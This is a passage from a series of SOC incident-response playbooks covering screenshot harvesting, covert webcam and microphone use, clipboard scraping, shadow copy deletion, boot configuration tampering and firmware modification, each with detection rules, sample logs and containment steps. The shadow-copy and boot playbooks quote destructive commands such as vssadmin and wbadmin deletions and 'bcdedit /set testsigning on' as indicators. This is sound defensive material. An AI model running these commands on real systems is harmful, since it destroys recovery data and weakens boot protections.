Data exfiltration behaviour

4. Detection Logic

Trigger alert when:

Repeated calls to screen capture APIs (BitBlt, PrintWindow, DXGI capture)
High-frequency image file creation in temp directories
Background process capturing screen at intervals
Suspicious process accessing desktop window handles
Unexpected screen capture by non-standard applications

Increase severity if:

Process is unsigned or unknown
Process injected into explorer.exe or browser
Image files stored in hidden/system folders
Files compressed shortly after creation
Outbound connection to suspicious domain follows

5. Log Data

Endpoint EDR Logs

2026-10-03 14:11:02 | PROCESS_START | user=nadia.r | process=svchost32.exe |
path=C:\Users\nadia\AppData\Roaming\svchost32.exe
2026-10-03 14:11:05 | API_CALL | process=svchost32.exe | api=BitBlt
2026-10-03 14:11:06 | FILE_CREATE |

path=C:\Users\nadia\AppData\Local\Temp\scr_141106.jpg
2026-10-03 14:11:36 | FILE_CREATE |
path=C:\Users\nadia\AppData\Local\Temp\scr_141136.jpg
2026-10-03 14:12:06 | FILE_CREATE |
path=C:\Users\nadia\AppData\Local\Temp\scr_141206.jpg

Network Logs

2026-10-03 14:12:10 | OUTBOUND_CONNECTION | process=svchost32.exe |
dst_ip=45.77.22.10 | port=443

Pattern shows periodic screen capture followed by outbound traffic.

6. Possible Attack Scenarios

Scenario A – Credential Harvesting

Attacker captures screenshots of login pages to steal passwords and MFA codes.

Scenario B – Executive Surveillance

Malware deployed on executive workstation to capture confidential board documents.

Scenario C – Banking Fraud

Screenshot capture used to observe transaction approval screens in real time.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Is screen capture activity legitimate (e.g., remote support tool)

Is the process signed and trusted

How frequent are capture events

Is there associated outbound traffic

Is the user privileged

Immediate Checks

Process reputation

File creation volume

Scheduled task entries

Autoruns / persistence entries

Recent phishing alerts on the user

Decision

Legitimate remote support tool → Close
Unknown unsigned process capturing screen → Escalate to L2
Screen capture + suspicious outbound traffic → Incident

L2 Analyst – Deep Analysis

Analysis Steps

Hash reputation lookup
Check parent process
Inspect persistence mechanisms
Correlate with clipboard or keylogging behaviour
Analyse outbound C2 patterns
Review browser session theft indicators

High-Risk Indicators

Screen capture + compression
Screen capture + TOR/VPN usage
Screen capture on domain admin workstation
Screen capture + OAuth token creation
Screen capture + data exfiltration spike

8. Incident Escalation Criteria

Escalate to Incident if:

Unsigned process performing screen capture
Repeated screenshot creation
Outbound traffic to unknown IP
Sensitive workstation affected

Escalate to Critical if:

Privileged account exposed
Evidence of active fraud
Multiple endpoints infected
Confirmed data exfiltration

9. Containment Actions

Immediate SOC Actions

Isolate endpoint from network
Terminate malicious process

Block C2 IP/domain

Disable affected account if credential exposure suspected

Extended IR Actions

Collect forensic image

Analyse screenshot contents

Check lateral movement attempts

Reset credentials (including MFA)

Scan environment for similar indicators

10. Recovery & Validation

Confirm:

No further screen capture activity

No persistence mechanisms remain

Credentials reset

Endpoint fully reimaged if required

No unusual outbound traffic

Reintroduce system only after validation.

11. Prevention & Hardening

Control: EDR Behaviour Monitoring

Action: Detect abnormal screen capture API usage

Control: Application Control

Action: Block unsigned executables in user directories

Control: Privileged Access Workstations

Action: Restrict admin access to hardened systems

Control: Network Monitoring

Action: Alert on suspicious outbound C2 patterns

Control: User Awareness

Action: Reinforce phishing awareness to prevent initial malware drop

12. Mapping to NIST Incident Response

Preparation: EDR & monitoring controls

Detection: Screen capture behaviour alert

Analysis: Endpoint forensic review

Containment: Device isolation

Eradication: Malware removal

Recovery: Credential reset & system validation

Lessons Learned: Improve endpoint hardening

13. SOC Perspective

Screenshot harvesting is silent espionage.

It captures what encryption cannot hide —
The screen itself.

Treat it as:

High risk on standard user systems

Critical on privileged workstations

Immediate incident if combined with C2 traffic

[COLLECTION] PLAYBOOK 87: WEBCAM / MIC ACTIVATION – COVERT MONITORING

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-087

Use Case Name: Webcam / Mic Activation

MITRE ATT&CK Tactic: Collection

Technique ID: T1125

Technique Name: Video Capture

Threat Category: Endpoint Surveillance / Espionage

Severity (Default): High

Escalation Severity: Critical (if executive, privileged, or sensitive environment)

Applies To: Corporate Endpoints, Executive Devices, Remote Workstations, VDI

SOC Ownership: L1 → L2 → DFIR Lead

Incident Type: Covert Surveillance / Sensitive Data Exposure

2. Threat Description

A compromised endpoint activates:

- Webcam
- Microphone
- Audio recording APIs

without user awareness.

The attacker's objective may include:

- Corporate espionage
- Capturing confidential meetings
- Recording MFA codes spoken aloud
- Blackmail or reputational damage
- Intelligence gathering before monetisation

Unlike screenshot harvesting, this attack captures **live conversations and environmental data**, making it especially sensitive.

3. Why This Detection Matters in 2026

In 2026, surveillance malware is commonly embedded within:

- Phishing-delivered payloads
- Fake meeting software

- Browser extensions
- Remote management tool abuse

Modern malware leverages:

- Windows Media APIs
- DirectShow / AVFoundation
- WebRTC abuse via browsers
- Background audio services

This detection becomes critical when paired with:

- Privileged workstation access
- Executive device compromise
- Concurrent screen capture
- TOR/VPN outbound traffic
- Suspicious browser automation

Surveillance attacks are often used **before financial or ransomware impact.**

4. Detection Logic

Trigger alert when:

- Non-approved process accesses webcam device
- Unexpected microphone API invocation
- Background process opens video/audio capture handle
- Camera activated outside meeting hours
- Process accesses webcam without UI foreground session

Increase severity if:

- Executable is unsigned
- Process runs from user AppData or Temp directory
- Camera activation occurs repeatedly
- Data compressed after recording
- Outbound encrypted traffic immediately follows

5. Log Data

Endpoint EDR Logs

2026-11-12 09:41:22 | PROCESS_START | user=amir.k | process=updatehost.exe | path=C:\Users\amir\AppData\Roaming\updatehost.exe

2026-11-12 09:41:24 | DEVICE_ACCESS | process=updatehost.exe | device=Integrated_Webcam

2026-11-12 09:41:26 | DEVICE_ACCESS | process=updatehost.exe |
device=Microphone_Array
2026-11-12 09:42:01 | FILE_CREATE |
path=C:\Users\amir\AppData\Local\Temp\audio_094201.wav
2026-11-12 09:42:30 | FILE_CREATE |
path=C:\Users\amir\AppData\Local\Temp\video_094230.mp4

Network Logs

2026-11-12 09:43:02 | OUTBOUND_CONNECTION | process=updatehost.exe |
dst_ip=185.203.119.44 | port=443

Pattern shows device capture followed by outbound traffic.

6. Possible Attack Scenarios

Scenario A – Executive Espionage
Attacker captures confidential board meeting discussions.

Scenario B – MFA Capture
User reads MFA code aloud during support call; attacker records it.

Scenario C – Blackmail Campaign
Malware records sensitive footage for extortion.

Scenario D – Intelligence Gathering
Attacker monitors operational discussions before launching ransomware.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Was user in a legitimate video meeting
- Is process approved (Teams, Zoom, Webex)
- Is process signed and trusted
- Is activation repeated or continuous
- Is there outbound traffic linked

Immediate Checks

- Process reputation lookup
- Digital signature verification
- Parent process inspection

- Scheduled task persistence
- User confirmation (if appropriate)

Decision

Approved meeting application → Close

Unknown unsigned process accessing camera/mic → Escalate

Camera + outbound suspicious traffic → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Verify executable hash reputation
- Check for persistence mechanisms
- Correlate with screen capture behaviour
- Inspect outbound traffic patterns
- Check if recordings were exfiltrated

High-Risk Indicators

- Camera activation on domain admin device
- Executive workstation affected
- Recording compressed and staged
- Outbound traffic to TOR/VPN nodes
- Multiple endpoints showing same behaviour

8. Incident Escalation Criteria

Escalate to Incident if:

- Unauthorised webcam/mic activation detected
- Suspicious recording files created
- Unknown process accessing AV devices

Escalate to Critical if:

- Executive or finance workstation affected
- Confirmed recording exfiltration
- Evidence of blackmail/extortion
- Multiple systems infected

9. Containment Actions

Immediate SOC Actions

- Isolate affected endpoint
- Terminate malicious process
- Block C2 IP/domain
- Disable affected user account (if risk of credential exposure)

Extended IR Actions

- Forensic acquisition of endpoint
- Analyse captured files
- Identify persistence mechanisms
- Reset credentials
- Scan environment for lateral movement

10. Recovery & Validation

Confirm:

- No further device access events
- No persistence remains
- Credentials reset
- System reimaged if required
- No suspicious outbound traffic

Reintroduce device only after validation.

11. Prevention & Hardening

Control: Endpoint Protection

Action: Monitor abnormal device access behaviour

Control: Application Allowlisting

Action: Restrict camera/mic access to approved software

Control: Device Access Policy

Action: Alert on background device access

Control: Executive Endpoint Hardening

Action: Dedicated hardened devices for high-risk roles

Control: Network Monitoring

Action: Alert on unusual encrypted outbound traffic

12. Mapping to NIST Incident Response

Preparation: Endpoint monitoring & policy controls

Detection: Unauthorised device access alert

Analysis: Forensic endpoint review

Containment: Isolation

Eradication: Malware removal

Recovery: Credential reset & validation

Lessons Learned: Improve endpoint device monitoring rules

13. SOC Perspective

Webcam and microphone activation is not just malware.
It is surveillance.

Treat it as:

High risk on standard endpoints

Critical on executive or privileged systems

Immediate incident if paired with C2 traffic

[CREDENTIAL ACCESS] PLAYBOOK 88: CLIPBOARD SCRAPING – CREDENTIAL CAPTURE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-088

Use Case Name: Clipboard Scraping

MITRE ATT&CK Tactic: Credential Access

Technique ID: T1115

Technique Name: Clipboard Data

Threat Category: Credential Theft / Data Harvesting

Severity (Default): High

Escalation Severity: Critical (if privileged account or financial impact)

Applies To: Corporate Endpoints, VDI, Remote Workstations, Finance Systems

SOC Ownership: L1 → L2 → DFIR Lead

Incident Type: Credential Theft / Sensitive Data Exposure

2. Threat Description

Malware monitors clipboard activity to capture:

- Usernames and passwords copied from password managers
- MFA codes copied for login
- API keys and tokens
- Cryptocurrency wallet addresses
- Sensitive text from internal systems

Clipboard scraping is often silent and continuous. Users typically do not notice any visible symptoms.

Attackers rely on the fact that many users copy:

- Credentials
- SSH keys
- Database connection strings
- Financial account details

before pasting them into applications.

3. Why This Detection Matters in 2026

In 2026, clipboard scraping is widely embedded in:

- Infostealers
- Browser malware
- Fake productivity tools
- Trojanised cracked software
- Crypto-focused malware

Clipboard data is highly valuable because:

- It often contains plaintext credentials
- It bypasses MFA protections when codes are copied
- It allows silent account takeover

This detection becomes more dangerous when paired with:

- Browser credential dumping
- TOR/VPN outbound connections
- Suspicious outbound HTTPS traffic
- Process injection behaviour
- Unusual file staging activity

Clipboard scraping is frequently a precursor to:

- Financial fraud
- SaaS compromise
- Ransomware staging

4. Detection Logic

Trigger alert when:

- Non-approved process registers clipboard monitoring API
- Process repeatedly queries clipboard content
- Background process reads clipboard without UI interaction
- Clipboard access followed by outbound network connection
- Unknown executable hooks user32.dll or win32 APIs

Increase severity if:

- Process runs from AppData or Temp
- Executable is unsigned
- Clipboard access occurs shortly after login events
- Sensitive patterns detected (e.g. wallet format, API key regex)
- Privileged user workstation affected

5. Log Data

Endpoint EDR Logs

2026-12-05 10:11:02 | PROCESS_START | user=sarah.n | process=svchost32.exe | path=C:\Users\sarah\AppData\Roaming\svchost32.exe
2026-12-05 10:11:05 | API_CALL | process=svchost32.exe | function=GetClipboardData
2026-12-05 10:11:12 | API_CALL | process=svchost32.exe | function=GetClipboardData
2026-12-05 10:11:18 | API_CALL | process=svchost32.exe | function=SetWindowsHookEx

Network Logs

2026-12-05 10:11:20 | OUTBOUND_CONNECTION | process=svchost32.exe | dst_ip=185.199.221.77 | port=443

Pattern shows repeated clipboard polling followed by outbound connection.

6. Possible Attack Scenarios

Scenario A – Password Manager Theft

User copies password from password manager; malware captures it before paste.

Scenario B – MFA Code Capture

User copies OTP code; malware captures and forwards it in real time.

Scenario C – Cryptocurrency Theft

Malware replaces wallet address in clipboard before paste to redirect funds.

Scenario D – Internal Secret Harvesting

Admin copies API key; attacker later uses it to pivot into cloud environment.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is the process legitimate or known software
- Is the binary signed
- Is the path suspicious
- Is clipboard access repeated
- Is there outbound traffic correlated

Immediate Checks

- File hash reputation lookup
- Digital signature validation
- Parent process inspection

- User activity timeline
- Recent software installations

Decision

Known legitimate clipboard tool → Close

Unknown unsigned binary polling clipboard → Escalate

Clipboard polling + outbound traffic → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Reverse engineer or sandbox the executable
- Identify persistence mechanism
- Check if credentials were recently changed
- Review authentication logs for abnormal logins
- Correlate with TOR/VPN usage

High-Risk Indicators

- Privileged account user affected
- Clipboard capture immediately before suspicious login
- Crypto wallet replacement behaviour
- Multiple endpoints infected
- Signs of infostealer malware family

8. Incident Escalation Criteria

Escalate to Incident if:

- Unknown process scraping clipboard repeatedly
- Clipboard activity linked to suspicious outbound traffic
- Evidence of credential misuse

Escalate to Critical if:

- Admin or finance account affected
- Confirmed account takeover
- Cryptocurrency theft observed
- Malware spreading laterally

9. Containment Actions

Immediate SOC Actions

- Isolate affected endpoint
- Terminate malicious process
- Block C2 infrastructure
- Force password resets for user

Extended IR Actions

- Reset MFA for affected user
- Revoke tokens and active sessions
- Scan environment for similar hash
- Conduct memory forensic analysis
- Review authentication logs (30–90 days)

10. Recovery & Validation

Confirm:

- No further clipboard polling events
- No abnormal outbound traffic
- Credentials rotated
- No suspicious login events
- Endpoint fully cleaned or reimaged

Restore device only after validation.

11. Prevention & Hardening

Control: Endpoint Monitoring

Action: Alert on repeated clipboard API access

Control: Application Allowlisting

Action: Block unsigned background executables

Control: Credential Hygiene

Action: Enforce password manager autofill instead of copy-paste

Control: EDR Behavioural Detection

Action: Detect API hooking of clipboard functions

Control: Network Monitoring

Action: Alert on suspicious outbound traffic after clipboard events

12. Mapping to NIST Incident Response

Preparation: Endpoint behavioural monitoring

Detection: Clipboard API abuse alert

Analysis: Endpoint & authentication correlation
Containment: Isolation & credential reset
Eradication: Malware removal
Recovery: Account hardening
Lessons Learned: Improve behaviour-based detections

13. SOC Perspective

Clipboard scraping is invisible to users.
But it is powerful for attackers.

Treat it as:

High risk if isolated
Critical if linked to login anomalies
Severe if tied to financial or privileged accounts

[IMPACT] PLAYBOOK 89: SHADOW COPY DELETION – PREVENTED SYSTEM RECOVERY

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-089

Use Case Name: Shadow Copy Deletion

MITRE ATT&CK Tactic: Impact

Technique ID: T1490

Technique Name: Inhibit System Recovery

Threat Category: Recovery Prevention / Ransomware Preparation

Severity (Default): Critical

Escalation Severity: Critical (Immediate IR Activation)

Applies To: Windows Servers, Endpoints, Domain Controllers, File Servers, VDI

SOC Ownership: L1 → L2 → IR Lead → Crisis Management

Incident Type: Ransomware Preparation / Destructive Activity

2. Threat Description

The attacker deletes:

- Volume Shadow Copies
- Windows restore points
- Backup catalog metadata
- Backup service configurations

Common commands observed:

- vssadmin delete shadows /all /quiet
- wmic shadowcopy delete
- PowerShell Remove-WmiObject Win32_ShadowCopy
- wbadmin delete catalog

The goal is clear:

Prevent system recovery after encryption or destructive impact.

This is rarely accidental.

In 2026, shadow copy deletion is almost always malicious.

3. Why This Detection Matters in 2026

Modern ransomware campaigns follow this pattern:

1. Credential theft

2. Lateral movement
3. Backup discovery
4. Shadow copy deletion
5. Encryption
6. Extortion

Shadow copy deletion is often:

- The final step before encryption
- A signal that impact is imminent
- A sign attacker already has high privileges

If detected early, SOC may still prevent mass encryption.

If missed, recovery options may be severely limited.

This detection becomes extremely dangerous when paired with:

- New admin account creation
- RDP or PsExec lateral movement
- Scheduled task creation
- Ransomware binary staging
- Backup repository access

4. Detection Logic

Trigger alert when:

- vssadmin executed with delete parameter
- wmic shadowcopy delete observed
- wbadmin delete catalog executed
- PowerShell interacting with Win32_ShadowCopy
- Backup service suddenly disabled

Increase severity if:

- Executed by admin account
- Executed outside maintenance window
- Executed via remote execution (PsExec/WMI)
- Followed by file modification spikes
- Occurs on multiple hosts

5. Log Data

Windows Security Logs

2026-08-14 01:12:05 | PROCESS_CREATE | user=administrator | process=vssadmin.exe | command=vssadmin delete shadows /all /quiet
2026-08-14 01:12:06 | PROCESS_CREATE | user=administrator | process=wbadmin.exe | command=wbadmin delete catalog -quiet

PowerShell Logs

2026-08-14 01:12:08 | SCRIPT_BLOCK | user=administrator | command=Get-WmiObject Win32_ShadowCopy | Remove-WmiObject

EDR Alert

2026-08-14 01:12:10 | ALERT | Host=FS-SERVER-01 | Behavior=ShadowCopyDeletion

Pattern indicates recovery inhibition prior to destructive action.

6. Possible Attack Scenarios

Scenario A – Pre-Ransomware Impact

Attacker deletes shadow copies minutes before launching encryption payload.

Scenario B – Insider Sabotage

Disgruntled employee attempts to destroy restore points before deleting data.

Scenario C – Backup Evasion

Attacker prevents restoration after wiping logs or destroying systems.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Was this scheduled maintenance
- Is the account authorised for backup management
- Is the host critical infrastructure
- Any other suspicious activity around same time

Immediate Checks

- Change management ticket verification
- Parent process (was it PowerShell, cmd, PsExec)

- Login source IP
- Recent privilege changes
- File modification spike detection

Decision

Approved maintenance → Close

No ticket + admin account → Escalate immediately

Deletion + suspicious activity → Incident (Critical)

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate with lateral movement logs
- Check for encryption behaviour (mass file writes)
- Check backup repository access logs
- Identify time gap between deletion and current time
- Review network connections for ransomware C2

High-Risk Indicators

- Deletion via remote execution
- Deletion on multiple hosts
- Backup repositories accessed earlier
- Encryption extension changes detected
- Ransom note indicators present

8. Incident Escalation Criteria

Escalate to Incident immediately if:

- Shadow copy deletion not linked to change ticket
- Admin account executed deletion
- Deletion on production server

Escalate to Critical if:

- Multiple systems affected
- Encryption activity detected
- Backup systems accessed
- Domain admin involved

Shadow copy deletion + encryption = Full Incident Response Activation

9. Containment Actions

Immediate SOC Actions

- Isolate affected host
- Disable compromised accounts
- Block lateral movement channels
- Snapshot system state (if possible)
- Preserve forensic evidence

Extended IR Actions

- Activate ransomware playbook
- Protect backup repositories
- Lock down privileged accounts
- Enable network segmentation restrictions
- Inform executive stakeholders

10. Recovery & Validation

Confirm:

- Backups remain intact and offline
- No further deletion attempts
- No encryption in progress
- Admin accounts secured
- No scheduled malicious tasks exist

If encryption occurred:

- Initiate restore from offline backup
- Validate clean environment before rejoining network

11. Prevention & Hardening

Control: Privileged Access Management

Action: Restrict shadow copy deletion to limited service accounts

Control: EDR Behaviour Rules

Action: Alert on vssadmin delete usage

Control: Backup Isolation

Action: Offline and immutable backups

Control: Logging

Action: Alert on wbadmin and WMI shadow operations

Control: Change Management Enforcement
Action: Require ticket validation for backup operations

12. Mapping to NIST Incident Response

Preparation: Immutable backups & privilege control
Detection: Shadow copy deletion alert
Analysis: Lateral movement & encryption correlation
Containment: Host isolation
Eradication: Remove attacker persistence
Recovery: Restore from clean backup
Lessons Learned: Backup security enhancement

13. SOC Perspective

Shadow copy deletion is rarely benign in 2026.

It is not reconnaissance.
It is not experimentation.
It is preparation for impact.

Treat it as:

Critical by default
Pre-ransomware indicator
Last warning before encryption

[PERSISTENCE] PLAYBOOK 90: BOOT CONFIG TAMPERING – PRE-OS PERSISTENCE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-090

Use Case Name: Boot Config Tampering

MITRE ATT&CK Tactic: Persistence

Technique ID: T1542.003

Technique Name: Bootkit

Threat Category: Pre-OS Persistence / Stealth Root Compromise

Severity (Default): Critical

Escalation Severity: Critical (Immediate IR Activation)

Applies To: Windows Servers, Endpoints, Domain Controllers, High-Value Systems

SOC Ownership: L1 → L2 → IR Lead → Digital Forensics

Incident Type: Advanced Persistent Threat / Kernel-Level Compromise

2. Threat Description

The attacker modifies boot configuration or installs a bootkit to:

- Execute malicious code before the operating system loads
- Bypass EDR and OS-based logging
- Maintain persistence across reboots
- Survive OS reinstallation (in some cases)

Common tampering includes:

- bcdedit modifications
- Altered bootloader paths
- Disabled Secure Boot
- Replaced bootmgr or EFI components
- Malicious driver loaded at boot

Unlike user-level persistence, this occurs before security agents initialise.

This is highly advanced and rarely accidental.

3. Why This Detection Matters in 2026

In 2026, advanced threat actors increasingly use:

- Bootkits to evade EDR
- Pre-OS persistence to resist remediation

- Kernel driver loading to hide activity
- Secure Boot bypass techniques

Boot config tampering often signals:

- Nation-state activity
- Ransomware operators hardening foothold
- Long-term espionage campaign
- Insider sabotage with admin privileges

This detection becomes extremely dangerous when paired with:

- Secure Boot disabled
- Suspicious kernel driver load
- EDR service tampering
- Firmware modification
- Repeated system reinstalls with recurring compromise

4. Detection Logic

Trigger alert when:

- bcdedit command modifies boot configuration
- Bootloader path altered
- Boot debugging enabled unexpectedly
- Safe mode forced persistently
- EFI partition modified
- Secure Boot disabled without change request

Increase severity if:

- Executed by admin outside maintenance window
- Parent process is PowerShell or remote execution
- Device is domain controller or critical server
- Multiple persistence indicators present
- EDR agent reports boot integrity change

5. Log Data

Windows Security Logs

```
2026-09-03 00:22:11 | PROCESS_CREATE | user=administrator | process=bcdedit.exe |
command=bcdedit /set {default} bootstatuspolicy ignoreallfailures
2026-09-03 00:22:14 | PROCESS_CREATE | user=administrator | process=bcdedit.exe |
command=bcdedit /set testsigning on
```

System Logs

2026-09-03 00:22:20 | SYSTEM_EVENT | Boot Configuration Data modified

EDR Alert

2026-09-03 00:22:22 | ALERT | Host=DC-CORE-01 | Behavior=BootConfigTampering

Pattern indicates deliberate boot integrity modification.

6. Possible Attack Scenarios

Scenario A – EDR Evasion

Attacker modifies boot config to load unsigned driver before EDR initialises.

Scenario B – Persistent Root Compromise

Bootkit ensures malicious code executes before OS logging starts.

Scenario C – Ransomware Hardening

Operator ensures persistence survives remediation attempts.

Scenario D – Insider Sabotage

Admin intentionally alters boot behaviour to destabilise infrastructure.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is there an approved maintenance ticket
- Is this device part of controlled testing
- Was Secure Boot intentionally disabled
- Who executed the command
- Was it interactive or remote

Immediate Checks

- Parent process (PowerShell, PsExec, RDP)
- Account privilege level
- Recent login source IP
- Change management validation
- Host criticality classification

Decision

Approved infrastructure change → Validate & Close
No change ticket + admin action → Escalate immediately
Boot config change + other suspicious signals → Critical Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Verify integrity of bootloader and EFI partition
- Check Secure Boot status
- Review kernel driver loads
- Correlate with EDR tampering events
- Validate file hashes of boot components

High-Risk Indicators

- Boot config changed remotely
- Unsigned driver loaded at boot
- Secure Boot disabled
- EDR not starting at boot
- Repeated configuration changes

8. Incident Escalation Criteria

Escalate to Incident immediately if:

- Boot configuration altered without approval
- Secure Boot disabled
- Boot debugging or test signing enabled

Escalate to Critical if:

- Domain controller involved
- Kernel driver persistence detected
- EDR fails to initialise at boot
- Multiple hosts affected

Boot-level persistence = Full DFIR activation.

9. Containment Actions

Immediate SOC Actions

- Isolate affected system
- Prevent further reboots if possible (preserve state)

- Disable compromised admin accounts
- Block remote admin channels

Extended IR Actions

- Perform forensic disk imaging
- Validate EFI partition integrity
- Rebuild system from known-good image
- Rotate domain admin credentials
- Assess lateral movement scope

Never simply “remove malware” without full validation.

10. Recovery & Validation

Confirm:

- Boot configuration restored to baseline
- Secure Boot re-enabled
- No unsigned drivers persist
- EDR loads correctly at startup
- System integrity validated via checksum

If root compromise suspected:

- Full OS rebuild required
- Validate hardware integrity
- Reset high-privilege credentials

11. Prevention & Hardening

Control: Secure Boot Enforcement

Action: Enforce via GPO and hardware policy

Control: Privileged Access Management

Action: Restrict bcdedit execution to limited accounts

Control: EDR Boot Protection

Action: Enable early-launch anti-malware (ELAM)

Control: Change Monitoring

Action: Alert on EFI and BCD changes

Control: Hardware Security

Action: TPM enforcement and measured boot validation

12. Mapping to NIST Incident Response

Preparation: Secure Boot + TPM + baseline integrity

Detection: Boot config modification alert

Analysis: Driver & kernel validation

Containment: Host isolation

Eradication: System rebuild if necessary

Recovery: Controlled reimage and reintegration

Lessons Learned: Harden boot integrity monitoring

13. SOC Perspective

Boot config tampering is not noise.

It is not experimentation.

It is a sign of deep system compromise.

When attackers operate before the OS loads:

Visibility drops

Detection weakens

Persistence strengthens

Treat it as:

Critical by default

Advanced threat behaviour

Potential root-level compromise

[PERSISTENCE] PLAYBOOK 91: FIRMWARE MODIFICATION – HARDWARE-LEVEL PERSISTENCE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-091

Use Case Name: Firmware Modification

MITRE ATT&CK Tactic: Persistence

Technique ID: T1542.001

Technique Name: Firmware Persistence

Threat Category: Hardware-Level Persistence / Stealth Root Compromise

Severity (Default): Critical

Escalation Severity: Critical (Immediate IR & Forensics Required)

Applies To: Servers, Endpoints, Domain Controllers, Network Appliances, High-Value Systems

SOC Ownership: L1 → L2 → IR Lead → Digital Forensics → Infrastructure Team

Incident Type: Advanced Persistent Threat / Hardware Compromise

2. Threat Description

The attacker implants malicious code into system firmware such as:

- UEFI / BIOS
- Baseboard Management Controller (BMC / iDRAC / iLO)
- Network device firmware
- SSD / storage controller firmware

This enables:

- Persistence that survives OS reinstallation
- Persistence that survives disk replacement
- Execution before OS and EDR load
- Stealth command-and-control below the OS layer

Unlike OS-level malware, firmware implants operate beneath system visibility.

This is highly advanced and almost never benign.

3. Why This Detection Matters in 2026

In 2026, advanced threat actors increasingly target:

- Firmware layers to evade EDR
- Hardware management interfaces

- Supply-chain firmware vulnerabilities
- Server management controllers

Firmware persistence is often associated with:

- Nation-state espionage
- Long-term banking or financial targeting
- Critical infrastructure infiltration
- High-value cloud / data centre compromise

This detection becomes extremely dangerous when paired with:

- Secure Boot disabled
- Boot config tampering
- Recurrent compromise after rebuild
- BMC login anomalies
- EDR failing to detect root cause

Firmware compromise = assume full trust boundary failure.

4. Detection Logic

Trigger alert when:

- Unexpected firmware version change detected
- UEFI integrity measurement mismatch
- TPM measured boot deviation
- Firmware flashing utility executed unexpectedly
- BMC firmware updated outside change window
- Integrity monitoring reports boot hash change

Increase severity if:

- No approved change ticket exists
- Executed by privileged account outside maintenance window
- Occurs on domain controller or core infrastructure
- Multiple hosts show similar firmware changes

5. Log Data

Endpoint Security Logs

2026-11-14 01:12:33 | PROCESS_CREATE | user=administrator | process=fwupdate.exe | command=fwupdate.exe /flash bios_v2.34.bin

System Integrity Logs

2026-11-14 01:12:45 | ALERT | Host=DC-CORE-01 | TPM_MeasuredBoot_Mismatch

BMC Logs

2026-11-14 01:10:05 | BMC_LOGIN_SUCCESS | user=root | src_ip=203.91.44.12

2026-11-14 01:11:01 | BMC_FIRMWARE_UPDATE | version=2.34 | status=SUCCESS

Pattern shows firmware modification with remote management access.

6. Possible Attack Scenarios

Scenario A – Nation-State Persistence

Attacker implants UEFI-level malware to maintain multi-year covert access.

Scenario B – Rebuild Resistance

After ransomware cleanup, attacker persists via firmware so compromise reappears.

Scenario C – BMC Abuse

Attacker compromises iDRAC/iLO to gain hardware-level remote control.

Scenario D – Supply Chain Implant

Malicious firmware introduced during hardware acquisition or update.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is there a valid maintenance or firmware upgrade ticket
- Was firmware update planned
- Which account executed the update
- What is the source IP
- Is this a high-value asset

Immediate Checks

- Change management validation
- Account privilege level
- Login source ASN reputation
- Host criticality classification
- Prior suspicious activity on host

Decision

Approved change → Validate with infrastructure team

No change record → Escalate immediately

Critical system + no approval → Declare Incident

Firmware modification without approval = assume malicious.

L2 Analyst – Deep Analysis

Analysis Steps

- Verify firmware checksum against vendor baseline
- Validate TPM measured boot logs
- Inspect BMC access history
- Correlate with Secure Boot or boot config alerts
- Check for lateral movement from host

High-Risk Indicators

- Firmware update from remote IP
- Firmware update outside maintenance window
- TPM measurement mismatch
- Recurring compromise after rebuild
- Multiple hosts affected

8. Incident Escalation Criteria

Escalate immediately if:

- Firmware updated without approval
- BMC login from unknown IP
- TPM measured boot mismatch

Escalate to Critical if:

- Domain controller involved
- Financial or banking core system affected
- Multiple servers modified
- Firmware persistence suspected after OS rebuild

Firmware compromise = Executive notification threshold.

9. Containment Actions

Immediate SOC Actions

- Isolate affected system from network
- Disable compromised accounts
- Block suspicious source IPs
- Prevent further firmware modifications

Extended IR Actions

- Perform full forensic acquisition
- Validate firmware integrity via vendor tools
- Reflash firmware from trusted image
- Reset BMC credentials
- Rotate domain admin and service credentials
- Review lateral movement

Never rely solely on OS-level remediation.

10. Recovery & Validation

Confirm:

- Firmware reflashed with vendor-trusted image
- Secure Boot enabled and verified
- TPM measurements validated
- BMC access restricted and audited
- No residual persistence

If firmware integrity cannot be guaranteed:

- Replace hardware
- Rebuild system from clean baseline

Hardware trust must be restored before rejoining domain.

11. Prevention & Hardening

Control: Secure Boot + TPM

Action: Enforce measured boot validation

Control: BMC Hardening

Action: Restrict access to management network only

Control: Firmware Change Monitoring

Action: Alert on firmware version changes

Control: Privileged Access Management

Action: Restrict firmware flashing rights

Control: Asset Baseline Management

Action: Maintain firmware inventory with hash verification

12. Mapping to NIST Incident Response

Preparation: Firmware baseline + TPM + Secure Boot

Detection: Integrity deviation alert

Analysis: Firmware validation & BMC review

Containment: Host isolation

Eradication: Firmware reflash or hardware replacement

Recovery: Controlled reintegration

Lessons Learned: Strengthen firmware monitoring

13. SOC Perspective

Firmware modification is not routine noise.

It is not minor misconfiguration.

It is a deep persistence mechanism below the operating system.

When attackers operate at firmware level:

OS rebuild is insufficient

EDR visibility is bypassed

Trust boundary collapses

Treat it as:

Critical by default

Advanced persistent compromise

Full-spectrum incident

[DEFENSE EVASION] PLAYBOOK 92: SECURE BOOT DISABLED – LOWERED SYSTEM TRUST

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-092

Use Case Name: Secure Boot Disabled

MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1562

Technique Name: Impair Defenses

Threat Category: System Trust Degradation / Pre-OS Defense Bypass

Severity (Default): Critical

Escalation Severity: Critical (Immediate Investigation Required)

Applies To: Endpoints, Servers, Domain Controllers, VDI, Critical Infrastructure Systems

SOC Ownership: L1 → L2 → IR Lead → Infrastructure / Platform Team

Incident Type: Defense Control Tampering / Potential Root Compromise

2. Threat Description

Secure Boot is a firmware-level protection that ensures:

- Only trusted, signed bootloaders execute
- Kernel drivers are verified
- Rootkits and bootkits are blocked

When Secure Boot is disabled:

